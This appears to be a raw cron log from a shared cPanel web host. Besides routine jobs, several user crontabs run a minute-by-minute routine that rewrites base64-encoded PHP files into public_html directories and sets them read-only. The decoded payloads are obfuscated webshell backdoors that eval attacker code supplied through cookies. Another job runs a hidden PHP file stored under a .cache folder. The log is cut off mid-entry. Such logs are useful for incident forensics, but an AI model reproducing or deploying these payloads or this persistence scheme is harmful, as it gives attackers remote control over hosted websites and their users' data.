Mar  1 11:01:01 medusa CROND[17618]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:01:01 medusa CROND[17619]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:01:01 medusa CROND[17620]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:01:01 medusa CROND[17621]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:01:01 medusa CROND[17622]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:01:01 medusa CROND[17623]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:01:01 medusa CROND[17634]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:01:01 medusa run-parts(/etc/cron.hourly)[17617]: starting 0anacron
Mar  1 11:01:01 medusa run-parts(/etc/cron.hourly)[17775]: finished 0anacron
Mar  1 11:02:02 medusa CROND[7576]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:02:02 medusa CROND[7662]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:02:02 medusa CROND[7663]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:02:02 medusa CROND[7664]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:02:02 medusa CROND[7665]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:02:02 medusa CROND[7667]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:02:02 medusa CROND[7669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:02:02 medusa CROND[7672]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:02:02 medusa CROND[7685]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:02:02 medusa CROND[7683]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:02:02 medusa CROND[7689]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:02:02 medusa CROND[7690]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:02:02 medusa CROND[7680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:03:01 medusa CROND[28970]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:03:01 medusa CROND[28971]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:03:01 medusa CROND[28973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:03:01 medusa CROND[28974]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:03:01 medusa CROND[28975]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:03:01 medusa CROND[28976]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:03:01 medusa CROND[28972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:03:01 medusa CROND[28977]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:03:01 medusa CROND[28978]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:03:01 medusa CROND[28979]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 